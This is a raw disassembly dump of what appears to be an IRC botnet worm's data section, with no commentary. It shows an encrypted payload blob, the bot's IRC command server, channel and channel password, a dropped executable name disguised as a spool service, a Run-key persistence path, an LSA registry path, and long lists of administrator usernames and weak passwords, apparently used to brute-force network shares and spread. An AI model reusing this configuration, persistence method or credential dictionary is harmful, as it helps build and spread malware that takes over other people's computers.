		dd 0B8719542h, 2E75F9C5h, 2180000h, 4B38128h, 4E3A31D7h
		dd 340000h, 4CB7A8B0h, 2F83640Eh, 0F36521h, 0FDE202A7h
		dd 5046FE64h, 7530D4F9h, 0D989DFCFh, 2D457h, 5AD6029Eh
		dd 0A25D768Eh, 0E4B5BB77h, 6306EC7Dh, 3352h, 2E150063h
		dd 9FC23DA1h, 5B4B7A8h,	6A0B84B8h, 0F70023h, 98945066h
		dd 6A68D7ADh, 0FD11C799h, 0CCF49785h, 4300C6h, 7B3B759h
		dd 72B621D4h, 0B25Dh, 0E82D016Eh, 224CDEFh, 5664E5C4h
		dd 6BC6DF12h, 0FB0000h,	557E6FC2h, 2FF1ED74h, 0B0F54543h
		dd 0FC18h, 8880112h, 0C17C6380h, 0C1096673h, 9000C9h, 0AC689571h
		dd 0D2B8ACFAh, 8A0022h,	60A82F27h, 84D167B2h, 4E2DCB3Bh
		dd 0B7E2B165h, 0E4A1E0BCh, 890000h, 0E12B5B31h,	0EFD57FBAh
		dd 0B44EA8FCh, 3D5805AAh, 0BE2FF8C9h, 3B2E8Dh, 9902009Dh
		dd 494BDD75h, 0B68C23B8h, 112118h, 19410094h, 0D78397E1h
		dd 5F682C28h, 0B734C541h, 26A0000h, 581916A9h, 73D57642h
		dd 935A79CBh, 9661h, 426A0241h,	372FDA4Bh, 520E9EDh, 37D01FEEh
		dd 80300308h, 98837Eh, 775502CCh, 931C2024h, 7F467318h
		dd 0DD373D8Ch, 4AA04998h, 73C256F2h, 0B80000h, 9EDD0BEFh
		dd 0B60E857Dh, 40C052A2h, 9C2D9F76h, 9103D21Ah,	8EBA67D2h
		dd 11B0000h, 3069225Ah,	0BBD12BB4h, 0E9EC4580h,	2060000h
		dd 7ADDE644h, 0C7FB1702h, 74B8CAEBh, 0FB7456CBh, 701808B5h
		dd 0C3EB8Ah, 0FB650207h, 0E9A396BEh, 93E55281h,	6CC95FD9h
		dd 7ED4B0D0h, 6E628175h, 80F308h, 3BC200B4h, 91923B40h
		dd 5394E65Ch, 10A0090h,	0DC81ADE6h, 90618179h, 0FC4DA0D2h
		dd 2C0B741Dh, 93FEA538h, 0B0BE92h, 1313019Fh, 7396629Ch
		dd 8991h, 53A00199h, 3829A6A3h,	14F78h,	66C30140h, 0DBC0E9D8h
		dd 0F1816DF5h, 748F75A0h, 2C70000h, 6093176Fh, 16BE6A23h
		dd 798B092h, 5339h, 0DE43021Ch,	809DF731h, 183BB1CBh, 0C1906938h
		dd 0BE0CD8h, 50C3015Bh,	54E46D3Dh, 370D3DBh, 82132Ah, 464300AFh
		dd 0C1E83112h, 0E6B2E6FEh, 0BACF256Eh, 1930000h, 81B7B435h
		dd 6CC632AFh, 34070851h, 18C0000h, 71B94772h, 74777ECAh
		dd 2042h, 954C02B0h, 286E282Dh,	0EF852171h, 4C34B691h
		dd 1D60015h, 77B0C6FCh,	96655F0Ah, 33E9F5C4h, 3500A6h
		dd 0B4BC21E5h, 0FE0CB9BBh, 7B72C456h, 0EFFD7ADEh, 0D193h
		dd 2A81026Ch, 32DD23CBh, 6457C164h, 1140086h, 0F78BFD43h
		dd 0E2E69h, 0D1DA03h, 99FE0080h, 8209B52h, 9180EAE5h, 0E6F5B73Dh
		dd 0AFADCE16h, 0DE3D2362h, 0A25BB4h, 0A3C302D2h, 7DF71C01h
		dd 0A0760B70h, 0A63089D3h, 0F6DBF883h, 1E4008Dh, 0B1206FF7h
		dd 0CAC21477h, 34C8CF0h, 4CB8DEC1h, 0D4E12Bh, 267302FFh
		dd 19E7967Fh, 570D7Dh, 0AAD8010Bh, 0B09F0552h, 48167D8Bh
		dd 0C8C703B0h, 77E7D648h, 1F90000h, 0B77750DDh,	0F0294C71h
		dd 4510EF3Eh, 1200077h,	2B48AB8Eh, 48B52469h, 5EA043B5h
		dd 0E5FA8B5Fh, 18D0000h, 5B7B4643h, 96F73A6Bh, 16187F56h
		dd 0F999A67Dh, 0DA1Dh, 634E01A2h, 77297699h, 0CB036FD1h
		dd 22F0071h, 2BEB16DEh,	0BDEAB4A5h, 1700079h, 0BEE0BB8Dh
		dd 0EC063582h, 0BDACB8C5h, 924DB648h, 124839E9h, 9475h
		dd 6F7F015Dh, 740392E4h, 9661A91Eh, 5806ECh, 0C7B20150h
		dd 0DDAD10C2h, 0D757A7A4h, 9CCE8153h, 0CA007Eh,	9C3EE24Dh
		dd 29587894h, 0E1B3E78h, 4BF03Bh, 0F2C30174h, 3990B6CBh
		dd 0EB460283h, 19D0000h, 0C493968Fh, 0F95C9552h, 8768CBh
		dd 3D0E019Bh, 6AE94AFDh, 5BBA0E6Ch, 2BF0000h, 12495179h
		dd 0A31B4814h, 0CC468Ch, 42F702BBh, 3C008F2h, 1FA31C77h
		dd 8A4Dh, 146D01B8h, 0CFB6EEE2h, 0EA8E3824h, 137540h, 4FFA00BFh
		dd 0FE435881h, 0CAC36Ch, 5E3400B9h, 10DBA3F3h, 1310000h
		dd 62982C22h, 44B3F77Eh, 20B0000h, 0F46F561Ah, 6DF683Ch
		dd 0BE999628h, 0FD2h, 13A901A3h, 7729C24Bh, 98D5h, 31EF01BFh
		dd 0F1878494h, 69709929h, 0F514h, 0C801C0h, 85C55538h
		dd 0ACB6BB13h, 9DDDh, 0B0CA02ADh, 44346203h, 91E62DB5h
		dd 4B5CF7EDh, 2979D84h,	87D99C75h, 138Fh, 890400B2h, 0DD5219CFh
		dd 58CE690Fh, 5F9BA34Ah, 88A3AAD0h, 9E743268h, 0B300C8h
		dd 5B901CDEh, 24925182h, 0B0809D80h, 60BE1841h,	67A26F7Fh
		dd 0C0EA95h, 5DFD0106h,	4B06D8B7h, 453CAB8Fh, 2F109314h
		dd 0EC639FCh, 0F6D395h,	0D7DB0108h, 0BD53239Dh,	8AB6C764h
		dd 676C71BEh, 0EBB663E9h, 4542325Fh, 26D0000h, 23122A9h
		dd 7811B61Eh, 8BB1DB4h,	0E843h,	0E9080152h, 0AA8A47B9h
		dd 744F575Bh, 4E2Ah, 0FA360115h, 64146777h, 0CD24469Ch
		dd 27C0045h, 0B3569FABh, 4355A712h, 77F22CBDh, 0AA0000h
		dd 4E310EFh, 4D9E7D4Ah,	0C1541C48h, 0D1C927D8h,	1530000h
		dd 0B459D116h, 5063F756h, 0DAF64D6h, 709Ah, 1D100156h
		dd 0E743FA15h, 62C916A5h, 934E82AAh, 28B0000h, 6CC25DE6h
		dd 3F6306E2h, 578BC8C4h, 0EEDA4E07h, 3F054C38h,	3D3FFEAAh
		dd 0ECB581h, 7D9A01B5h,	0B8D32751h, 0D12D9180h,	4C84h
		dd 7B9001B2h, 656C887Ah, 0D453B83Dh, 0B9B3h, 66470261h
		dd 5C9433D5h, 0C0E4E963h, 93B1h, 143E0021h, 0F80432E8h
		dd 0D9E5DD0Bh, 91C9F478h
		dd 220000h, 95DCF0BEh, 7919B97Ch, 1270B753h, 5DF5h, 0E5710262h
		dd 36096327h, 3014097Bh, 5ED9761Ah, 2FCCB233h, 0A71AA38Eh
		dd 9FC100CAh, 0AF6B5CC8h, 14868878h, 10D2h, 0BEh dup(0)
dword_429000	dd 0				dd offset loc_40121D
		dd offset sub_401239
		dd offset sub_40D78E
		dd offset sub_40DAD1
		dd offset dword_40ECDC+1CEh
		dd offset sub_4265A4
dword_42901C	dd 0		dword_429020	dd 0				dd offset sub_41D6F2
		dd offset sub_4200D2
		dd offset sub_422563
		dd offset sub_4245B2
dword_429034	dd 0		dword_429038	dd 0				dd offset sub_422608
dword_429040	dd 0		dword_429044	dd 0		; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 45h,	42h, 0
dword_42904C	dd 0		dword_429050	dd 78h				align 8
dword_429058	dd 80000002h, 429150h, 80000001h, 429180h, 80000001h, 429150h
					; DATA XREF: sub_401000+7o
dword_429070	dd 6272h, 0C7ABh, 0F51h					; sub_4010C3+Bo
dword_42907C	dd 7E4h		dword_429080	dd 45h							; sub_40B9DD+3Br
dword_429084	dd 201h		word_429088	dw 7C7h			; DATA XREF: .nsp0:loc_404768r
		align 4
dword_42908C	dd 1		dword_429090	dd 1		byte_429094	db 78h			; DATA XREF: .nsp0:00402580r
					; .nsp0:0040263Ar ...
		align 4
dword_429098	dd 0Ch							; sub_40AC10+5Fr ...
dword_42909C	dd 1							; .nsp0:00401DF1r ...
aXxerooxx	db 'XxerooxX',0         ; DATA XREF: .nsp0:004012B2o
					; .nsp0:loc_4044A0o ...
		align 4
aXxerxx		db 'XxerxX',0           ; DATA XREF: .nsp0:loc_40496Fo
		align 4
aHi		db 'hi',0               ; DATA XREF: .nsp0:0040980Co
					; .nsp0:004098DBo
		align 4
aFreee_najd_us	db 'freee.najd.us',0
		align 4
aMss2		db '#mss2',0            ; DATA XREF: .nsp0:loc_41297Co
					; sub_412A79:loc_412A93o ...
		align 10h
aMss2pass	db 'mss2pass',0
		align 4
aFreee_najd_u_0	db 'freee.najd.us',0
		align 4
aMss2_0		db '#mss2',0
		align 4
aMss2pass_0	db 'mss2pass',0
		align 10h
aSpools_exe	db 'spools.exe',0       ; DATA XREF: .nsp0:00403B43o
					; sub_40B9DD+5Eo ...
		align 4
aWinntse_bat	db 'winntse.bat',0      ; DATA XREF: .nsp0:00412252o
aSpoolService	db 'Spool Service',0    ; DATA XREF: sub_401000+Eo
		align 4
aO1		db 'o1',0               ; DATA XREF: .nsp0:0040AC8Eo
		align 4
aWinntse_dat	db 'winntse.dat',0
aI_0		db '+i',0               ; DATA XREF: .nsp0:00409954o
		align 4
aO1_0		db '#o1',0              ; DATA XREF: .nsp0:00403813o
					; .nsp0:00404B58o ...
aM		db '#M',0               ; DATA XREF: .nsp0:00405EACo
		align 4
aM_0		db '#M',0               ; DATA XREF: .nsp0:00405BA9o
					; .nsp0:00405CF8o
		align 4
off_429148	dd offset a@k7o_net	; DATA XREF: .nsp0:loc_409868o
					; "*@k7o.net"
off_42914C	dd offset aMircV6_16Khale ; DATA XREF: .nsp0:004023C5r
					; .nsp0:00409884o
					; "mIRC	v6.16 Khaled Mardam-Bey"
aSoftwareMicr_0	db 'Software\Microsoft\Windows\CurrentVersion\Run',0
		align 10h
		db 53h
aOftwareMicroso	db 'oftware\Microsoft\Windows\CurrentVersion\Run',0
		align 10h
aSoftwareMicros	db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_41A702+28o
					; sub_41AA26+28o
		align 4
aSystemCurrentc	db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_41A702+D4o
					; sub_41AA26+D4o
		align 10h
		dd offset aAdministrator ; "Administrator"
		dd offset aAdministrato_0 ; "administrator"
		dd offset aAdministrador ; "administrador"
		dd offset aAdministrateur ; "administrateur"
		dd offset aAdministrat	; "administrat"
		dd offset aAdmins	; "admins"
		dd offset aAdmin	; "admin"
		dd offset aStaff	; "staff"
		dd offset aRoot		; "root"
		dd offset aComputer	; "computer"
		dd offset aOwner	; "owner"
		dd offset aStudent	; "student"
		dd offset aTeacher	; "teacher"
		dd offset aWwwadmin	; "wwwadmin"
		dd offset aGuest_0	; "guest"
		dd offset aDefault	; "default"
		dd offset aDatabase	; "database"
		dd offset aDba		; "dba"
		dd offset aOracle	; "oracle"
		dd offset aDb2		; "db2"
		dd offset aUser_0	; "USER"
		align 8
off_429248	dd offset byte_443398	; DATA XREF: .nsp0:loc_40D8BCr
					; .nsp0:0040D8CDo ...
		dd offset aAdministrato_1 ; "ADMINISTRATOR"
		dd offset aAdministrator ; "Administrator"
		dd offset aAdministrato_0 ; "administrator"
		dd offset aFubar	; "fubar"
		dd offset aBla		; "bla"
		dd offset aGuest_1	; "GUEST"
		dd offset aRoot_0	; "ROOT"
		dd offset aRoot		; "root"
		dd offset aAdmin_0	; "ADMIN"
		dd offset aPassword	; "PASSWORD"
		dd offset aTemp		; "TEMP"
		dd offset aShare_0	; "SHARE"
		dd offset aWrite	; "WRITE"
		dd offset aFull_0	; "FULL"
		dd offset aLadeda	; "ladeda"
		dd offset aBoth		; "BOTH"
		dd offset aRead		; "READ"
		dd offset aFiles	; "FILES"
		dd offset aDemo		; "DEMO"
		dd offset aOwner_0	; "OWNER"
		dd offset aOwner_1	; "Owner"
		dd offset aEdu		; "edu"
		dd offset aTest		; "TEST"
		dd offset aAccess	; "ACCESS"
		dd offset aUser_0	; "USER"
		dd offset aBackup	; "BACKUP"
		dd offset aSystem_0	; "SYSTEM"
		dd offset aServer_1	; "SERVER"
		dd offset aPepsi	; "pepsi"
		dd offset aLocal	; "LOCAL"
		dd offset aUnix		; "unix"
		dd offset aLinux	; "linux"
		dd offset aChangeme	; "changeme"
		dd offset aChangeme_0	; "Changeme"
		dd offset aTemp123	; "temp123"
		dd offset a1		; "1"
		dd offset a12		; "12"
		dd offset a123		; "123"
		dd offset a1234		; "1234"
		dd offset a12345	; "12345"
		dd offset a123456	; "123456"
		dd offset a1234567	; "1234567"
		dd offset a12345678	; "12345678"
		dd offset a123456789	; "123456789"
		dd offset a654321	; "654321"
		dd offset a54321	; "54321"
		dd offset a111		; "111"
		dd offset a11111111	; "11111111"
		dd offset a88888888	; "88888888"
		dd offset aPass_0	; "pass"
		dd offset aPasswd	; "passwd"
		dd offset aDatabase	; "database"
		dd offset aAbcd		; "abcd"
		dd offset aAbc123	; "abc123"
		dd offset aOracle	; "oracle"
		dd offset aSybase	; "sybase"
		dd offset a123qwe	; "123qwe"
		dd offset aComputer	; "computer"
		dd offset aInternet	; "Internet"
		dd offset aSuper	; "super"
		dd offset a123asd	; "123asd"
		dd offset aIhavenopass	; "ihavenopass"
		dd offset aGodblessyou	; "godblessyou"
		dd offset aEnable	; "enable"
		dd offset aXp_0		; "xp"
		dd offset a2002		; "2002"
		dd offset a2003		; "2003"
		dd offset a2600		; "2600"
		dd offset a110		; "110"
		dd offset a111111	; "111111"
		dd offset a121212	; "121212"
		dd offset a123123	; "123123"
		dd offset a1234qwer	; "1234qwer"
		dd offset a123abc	; "123abc"
		dd offset a007		; "007"
		dd offset aAlpha	; "alpha"
		dd offset aPatrick	; "patrick"
		dd offset aPat		; "pat"
		dd offset aSex_0	; "sex"
		dd offset aGod		; "god"
		dd offset aFoobar	; "foobar"
		dd offset aNilez	; "Nilez"
		dd offset aDevil	; "devil"
		dd offset aNetdevil	; "netdevil"
		dd offset aNetDevil	; "net-devil"
		dd offset a0wned	; "0wned"
		dd offset aOwned	; "owned"
		dd offset aIrule	; "irule"
		dd offset aNetfuck	; "netfuck"
		dd offset aFucked	; "fucked"
		dd offset aCrash	; "crash"
		dd offset aA_0		; "a"
		dd offset aAaa		; "aaa"
		dd offset aAbc		; "abc"
		dd offset aTest123	; "test123"
		dd offset aWin		; "win"
		dd offset aPc		; "pc"
		dd offset aAsdf		; "asdf"
		dd offset aSecret	; "secret"
		dd offset aQwer		; "qwer"
		dd offset aYxcv		; "yxcv"
		dd offset aZxcv		; "zxcv"
		dd offset aHome		; "home"
		dd offset aLogin	; "login"
		dd offset aPwd		; "pwd"
		dd offset aLove		; "love"
		dd offset aMypc		; "mypc"
		dd offset aMypc123	; "mypc123"
		dd offset aAdmin123	; "admin123"
		dd offset aPw123	; "pw123"
		dd offset aMypass	; "mypass"
		dd offset aMypass123	; "mypass123"
		dd offset aPw		; "pw"
		dd offset aMat		; "Mat"
		dd offset aMatt		; "Matt"
		dd offset aMatthew	; "Matthew"
		dd offset aGobo		; "gobo"
		dd offset aSatan	; "satan"
		dd offset aSatanik	; "satanik"
		dd offset aSatanic	; "satanic"
		dd offset aSpaceman	; "spaceman"
		dd offset aHeaven	; "heaven"
		dd offset aW00t		; "w00t"
		dd offset a0wn3d	; "0wn3d"
		dd offset aKiller	; "killer"
		dd offset aLeet		; "leet"
		dd offset aL33t		; "l33t"
		dd offset aL337		; "l337"
		dd offset aHacker	; "hacker"
		dd offset aHax0r	; "hax0r"
		dd offset aScript	; "script"
		dd offset aScriptkiddie	; "scriptkiddie"
		dd offset aKiddie	; "kiddie"
		dd offset aMirc		; "mirc"
		dd offset aUwontguessme	; "uwontguessme"
		dd offset aYouwontguessme ; "youwontguessme"
		dd offset aGuessme	; "guessme"
		dd offset asc_42FB78	; "x"
		dd offset aXx		; "xx"
		dd offset aXxx		; "xxx"
		dd offset aXxxx		; "xxxx"
		dd offset aXxxxx	; "xxxxx"
		dd offset aXxxxxx	; "xxxxxx"
		dd offset aXxxxxxx	; "xxxxxxx"
		dd offset aXxxxxxxx	; "xxxxxxxx"
		dd offset aXxxxxxxxx	; "xxxxxxxxx"
		dd offset a0_0		; "0"
		dd offset a00		; "00"
		dd offset aDeath	; "death"
		dd offset aTesting	; "testing"
		dd offset a000		; "000"
		dd offset a0000		; "0000"
		dd offset a00000	; "00000"
		dd offset a000000	; "000000"
		dd offset aAcademia	; "academia"
		dd offset aAcademic	; "academic"
		dd offset aAccept	; "accept"
		dd offset aAccount	; "account"
		dd offset aAction	; "action"
		dd offset aAdam		; "adam"
		dd offset aAdrian	; "adrian"
		dd offset aAdrianna	; "adrianna"
		dd offset aAdult	; "adult"
		dd offset aAerobics	; "aerobics"
		dd offset aAids		; "aids"
		dd offset aAirplane	; "airplane"
		dd offset aAlaska	; "alaska"
		dd offset aAlbany	; "albany"
		dd offset aAlbatros	; "albatros"
		dd offset aAlbert	; "albert"
		dd offset aAlert	; "alert"
		dd offset aAlex		; "alex"
		dd offset aAlexande	; "alexande"
		dd offset aAlgebra	; "algebra"
		dd offset aAlias	; "alias"
		dd offset aAliases	; "aliases"
		dd offset aAlice	; "alice"
		dd offset aAlicia	; "alicia"
		dd offset aAlisa	; "alisa"
		dd offset aAlison	; "alison"
		dd offset aAllison	; "allison"
		dd offset aAllow	; "allow"
		dd offset aAlphabet	; "alphabet"
		dd offset aAmadeus	; "amadeus"
		dd offset aAmanda	; "amanda"
		dd offset aAmber	; "amber"
		dd offset aAmerica	; "america"
		dd offset aAmorphou	; "amorphou"
		dd offset aAnal		; "anal"
		dd offset aAnalog	; "analog"
		dd offset aAnarchis	; "anarchis"
		dd offset aAnarchy	; "anarchy"
		dd offset aAnchor	; "anchor"
		dd offset aAndrea	; "andrea"
		dd offset aAndroid	; "android"
		dd offset aAndromac	; "andromac"
		dd offset aAndy		; "andy"
		dd offset aAnfo		; "anfo"
		dd offset aAngela	; "angela"
		dd offset aAngerine	; "angerine"
		dd offset aAngie	; "angie"
		dd offset aAnimal	; "animal"
		dd offset aAnimals	; "animals"
		dd offset aAnita	; "anita"
		dd offset aAnna		; "anna"
		dd offset aAnne		; "anne"
		dd offset aAnnette	; "annette"
		dd offset aAnon		; "anon"
		dd offset aAnonymou	; "anonymou"
		dd offset aAnswer	; "answer"
		dd offset aAnthrax	; "anthrax"
		dd offset aAnthropo	; "anthropo"
		dd offset aAnvils	; "anvils"
		dd offset aAnything	; "anything"
		dd offset aApollo13	; "apollo13"
		dd offset aApril	; "april"
		dd offset aAria		; "aria"
		dd offset aAriadne	; "ariadne"
		dd offset aArlene	; "arlene"
		dd offset aArmy		; "army"
		dd offset aArrow	; "arrow"
		dd offset aArthur	; "arthur"
		dd offset aArtist	; "artist"
		dd offset aAsian	; "asian"
		dd offset aAsshole	; "asshole"
		dd offset aAthena	; "athena"
		dd offset aAtmosphe	; "atmosphe"
		dd offset aAtom		; "atom"
		dd offset aAttack	; "attack"
		dd offset aAuthoriz	; "authoriz"
		dd offset aAztecs	; "aztecs"
		dd offset aAzure	; "azure"
		dd offset aBabe		; "babe"
		dd offset aBaby		; "baby"
		dd offset aBacchus	; "bacchus"
		dd offset aBackdoor	; "backdoor"
		dd offset aBadass	; "badass"
		dd offset aBailey	; "bailey"
		dd offset aBall		; "ball"
		dd offset aBanana	; "banana"
		dd offset aBananas	; "bananas"
		dd offset aBandit	; "bandit"
		dd offset aBank		; "bank"
		dd offset aBanks	; "banks"
		dd offset aBarbara	; "barbara"
		dd offset aBarber	; "barber"
		dd offset aBare		; "bare"
		dd offset aBarf		; "barf"
		dd offset aBaritone	; "baritone"
		dd offset aBart		; "bart"
		dd offset aBartman	; "bartman"
		dd offset aBaseball	; "baseball"
		dd offset aBasic	; "basic"
		dd offset aBass		; "bass"
		dd offset aBassoon	; "bassoon"
		dd offset aBatch	; "batch"
		dd offset aBatman	; "batman"
		dd offset aBeach	; "beach"
		dd offset aBeammeup	; "beammeup"
		dd offset aBear		; "bear"
		dd offset aBeast	; "beast"
		dd offset aBeater	; "beater"
		dd offset aBeauty	; "beauty"
		dd offset aBeaver	; "beaver"
		dd offset aBecky	; "becky"
		dd offset aBeethove	; "beethove"
		dd offset aBegin	; "begin"
		dd offset aBehead	; "behead"
		dd offset aBell		; "bell"
		dd offset aBeloved	; "beloved"
		dd offset aBenz		; "benz"
		dd offset aBeowulf	; "beowulf"
		dd offset aBerkeley	; "berkeley"
		dd offset aBerlin	; "berlin"
		dd offset aBerliner	; "berliner"
		dd offset aBeryl	; "beryl"
		dd offset aBeta		; "beta"
		dd offset aBeth		; "beth"
		dd offset aBetsie	; "betsie"
		dd offset aBetty	; "betty"
		dd offset aBeverly	; "beverly"
		dd offset aBible	; "bible"
		dd offset aBicamera	; "bicamera"
		dd offset aBigfoot	; "bigfoot"
		dd offset aBill		; "bill"
		dd offset aBinary	; "binary"
		dd offset aBios		; "bios"
		dd offset aBird		; "bird"
		dd offset aBishop	; "bishop"
		dd offset aBitch	; "bitch"
		dd offset aBitmap	; "bitmap"
		dd offset aBitnet	; "bitnet"
		dd offset aBlack	; "black"
		dd offset aBlonde	; "blonde"
		dd offset aBlondie	; "blondie"
		dd offset aBlood	; "blood"
		dd offset aBloodaxe	; "bloodaxe"
		dd offset aBlow		; "blow"
		dd offset aBlowjob	; "blowjob"
		dd offset aBlue		; "blue"
		dd offset aBlues	; "blues"
		dd offset aBoard	; "board"
		dd offset aBomb		; "bomb"
		dd offset aBoner	; "boner"
		dd offset aBoob		; "boob"
		dd offset aBoobs	; "boobs"
		dd offset aBook		; "book"
		dd offset aBorn		; "born"
		dd offset aBoyscout	; "boyscout"
		dd offset aBradley	; "bradley"
		dd offset aBrandi	; "brandi"
		dd offset aBrandy	; "brandy"
		dd offset aBravo	; "bravo"
		dd offset aBreak	; "break"
		dd offset aBreast	; "breast"
		dd offset aBrenda	; "brenda"
		dd offset aBrian	; "brian"
		dd offset aBridget	; "bridget"
		dd offset aBroadway	; "broadway"
		dd offset aBrothel	; "brothel"
		dd offset aBrunette	; "brunette"
		dd offset aBrute	; "brute"
		dd offset aBrutefor	; "brutefor"
		dd offset aBulls	; "bulls"
		dd offset aBullshit	; "bullshit"
		dd offset aBumbling	; "bumbling"
		dd offset aBung		; "bung"
		dd offset aBurgess	; "burgess"
		dd offset aBurn		; "burn"
		dd offset aButch	; "butch"
		dd offset aButt		; "butt"
		dd offset aButthead	; "butthead"
		dd offset aCaliforn	; "californ"
		dd offset aCamille	; "camille"
		dd offset aCampanil	; "campanil"
		dd offset aCamping	; "camping"
		dd offset aCandi	; "candi"
		dd offset aCandy	; "candy"
		dd offset aCantor	; "cantor"
		dd offset aCaptain	; "captain"
		dd offset aCapture	; "capture"
		dd offset aCard		; "card"
		dd offset aCardinal	; "cardinal"
		dd offset aCaren	; "caren"
		dd offset aCarla	; "carla"
		dd offset aCarmen	; "carmen"
		dd offset aCarol	; "carol"
		dd offset aCarole	; "carole"
		dd offset aCarolina	; "carolina"
		dd offset aCaroline	; "caroline"
		dd offset aCarrie	; "carrie"
		dd offset aCarson	; "carson"
		dd offset aCascades	; "cascades"
		dd offset aCash		; "cash"
		dd offset aCastle	; "castle"
		dd offset aCatherin	; "catherin"
		dd offset aCatholic	; "catholic"
		dd offset aCathy	; "cathy"
		dd offset aCave		; "cave"
		dd offset aCayuga	; "cayuga"
		dd offset aCecily	; "cecily"
		dd offset aCelt		; "celt"
		dd offset aCeltic	; "celtic"
		dd offset aCeltics	; "celtics"
		dd offset aCerulean	; "cerulean"
		dd offset aChange	; "change"
		dd offset aCharity	; "charity"
		dd offset aCharles	; "charles"
		dd offset aCharlie	; "charlie"
		dd offset aCharming	; "charming"
		dd offset aCharon	; "charon"
		dd offset aChat_0	; "chat"
		dd offset aChem		; "chem"
		dd offset aChemistr	; "chemistr"
		dd offset aChess	; "chess"
		dd offset aChester	; "chester"
		dd offset aChip		; "chip"
		dd offset aChris	; "chris"
		dd offset aChristin	; "christin"
		dd offset aChristy	; "christy"
		dd offset aCigar	; "cigar"
		dd offset aCigarett	; "cigarett"
		dd offset aCindy	; "cindy"
		dd offset aClass	; "class"
		dd offset aClasses	; "classes"
		dd offset aClassic	; "classic"
		dd offset aClaudia	; "claudia"
		dd offset aClaymore	; "claymore"
		dd offset aCleavage	; "cleavage"
		dd offset aClinton	; "clinton"
		dd offset aCluster	; "cluster"
		dd offset aClusters	; "clusters"
		dd offset aCoast	; "coast"
		dd offset aCocacola	; "cocacola"
		dd offset aCocainco	; "cocainco"
		dd offset aCock		; "cock"
		dd offset aCode		; "code"
		dd offset aCodename	; "codename"
		dd offset aCodeword	; "codeword"
		dd offset aCoffee	; "coffee"
		dd offset aCoin		; "coin"
		dd offset aCoke		; "coke"
		dd offset aCola		; "cola"
		dd offset aCold		; "cold"
		dd offset aCollins	; "collins"
		dd offset aColor	; "color"
		dd offset aCombat	; "combat"
		dd offset aComics	; "comics"
		dd offset aCommit	; "commit"
		dd offset aCommrade	; "commrade"
		dd offset aCompany	; "company"
		dd offset aComputin	; "computin"
		dd offset aComrade	; "comrade"
		dd offset aComrades	; "comrades"
		dd offset aCondo	; "condo"
		dd offset aCondom	; "condom"
		dd offset aConnect	; "connect"
		dd offset aConnie	; "connie"
		dd offset aConserva	; "conserva"
		dd offset aConsole	; "console"
		dd offset aContinue	; "continue"
		dd offset aCook		; "cook"
		dd offset aCookbook	; "cookbook"
		dd offset aCookie	; "cookie"
		dd offset aCool		; "cool"
		dd offset aCooper	; "cooper"
		dd offset aCopper	; "copper"
		dd offset aCops		; "cops"
		dd offset aCopy		; "copy"
		dd offset aCorneliu	; "corneliu"
		dd offset aCorrect	; "correct"
		dd offset aCounters	; "counters"
		dd offset aCountry	; "country"
		dd offset aCouscous	; "couscous"
		dd offset aCowboy	; "cowboy"
		dd offset aCrack	; "crack"
		dd offset aCrackpot	; "crackpot"
		dd offset aCream	; "cream"
		dd offset aCreate	; "create"
		dd offset aCreation	; "creation"
		dd offset aCreature	; "creature"
		dd offset aCredit	; "credit"
		dd offset aCreosote	; "creosote"
		dd offset aCretin	; "cretin"
		dd offset aCrime	; "crime"
		dd offset aCriminal	; "criminal"
		dd offset aCristina	; "cristina"
		dd offset aCrystal	; "crystal"
		dd offset aCshrc	; "cshrc"
		dd offset aCunt		; "cunt"
		dd offset aCustomer	; "customer"
		dd offset aCyber_1	; "cyber"
		dd offset aCyberpun	; "cyberpun"
		dd offset aCyberspa	; "cyberspa"
		dd offset aCynthia	; "cynthia"
		dd offset aDaemon	; "daemon"
		dd offset aDaisy	; "daisy"
		dd offset aDana		; "dana"
		dd offset aDancer	; "dancer"
		dd offset aDaniel	; "daniel"
		dd offset aDanielle	; "danielle"
		dd offset aDanny	; "danny"
		dd offset aDapper	; "dapper"
		dd offset aDark		; "dark"
		dd offset aDarkaven	; "darkaven"
		dd offset aData		; "data"
		dd offset aDave		; "dave"
		dd offset aDawn		; "dawn"
		dd offset aDead		; "dead"
		dd offset aDeathsta	; "deathsta"
		dd offset aDebbie	; "debbie"
		dd offset aDeborah	; "deborah"
		dd offset aDebug	; "debug"
		dd offset aDecember	; "december"
		dd offset aDeck		; "deck"
		dd offset aDefault	; "default"
		dd offset aDefault_0	; "DEFAULT"
		dd offset aDefoe	; "defoe"
		dd offset aDelta	; "delta"
		dd offset aDeluge	; "deluge"
		dd offset aDemocrat	; "democrat"
		dd offset aDenise	; "denise"
		dd offset aDennis	; "dennis"
		dd offset aDesiree	; "desiree"
		dd offset aDesk		; "desk"
		dd offset aDesktop	; "desktop"
		dd offset aDesperat	; "desperat"
		dd offset aDevelop	; "develop"
		dd offset aDevice	; "device"
		dd offset aDial		; "dial"
		dd offset aDiamond	; "diamond"
		dd offset aDiana	; "diana"
		dd offset aDiane	; "diane"
		dd offset aDice		; "dice"
		dd offset aDick		; "dick"
		dd offset aDiehard	; "diehard"
		dd offset aDiet		; "diet"
		dd offset aDieter	; "dieter"
		dd offset aDigital	; "digital"
		dd offset aDinosaur	; "dinosaur"
		dd offset aDipshit	; "dipshit"
		dd offset aDirect	; "direct"
		dd offset aDirector	; "director"
		dd offset aDirty	; "dirty"
		dd offset aDisc		; "disc"
		dd offset aDiscipli	; "discipli"
		dd offset aDisclose	; "disclose"
		dd offset aDiscover	; "discover"
		dd offset aDisk_0	; "disk"
		dd offset aDiskette	; "diskette"
		dd offset aDisney	; "disney"
		dd offset aDisplay_0	; "display"
		dd offset aDoctor	; "doctor"
		dd offset aDollar	; "dollar"
		dd offset aDong		; "dong"
		dd offset aDoom		; "doom"
		dd offset aDoom2	; "doom2"
		dd offset aDoomii	; "doomii"
		dd offset aDoomsday	; "doomsday"
		dd offset aDoonesbu	; "doonesbu"
		dd offset aDoor		; "door"
		dd offset aDoors	; "doors"
		dd offset aDope		; "dope"
		dd offset aDownload	; "download"
		dd offset aDragon	; "dragon"
		dd offset aDrdoom	; "drdoom"
		dd offset aDrive	; "drive"
		dd offset aDrought	; "drought"
		dd offset aDuck		; "duck"
		dd offset aDude		; "dude"
		dd offset aDuelist	; "duelist"
		dd offset aDuke		; "duke"
		dd offset aDulce	; "dulce"
		dd offset aDuncan	; "duncan"
		dd offset aDungeon	; "dungeon"
		dd offset aDyke		; "dyke"
		dd offset aEager	; "eager"
		dd offset aEagle	; "eagle"
		dd offset aEarth	; "earth"
		dd offset aEasier	; "easier"
		dd offset aEasy		; "easy"
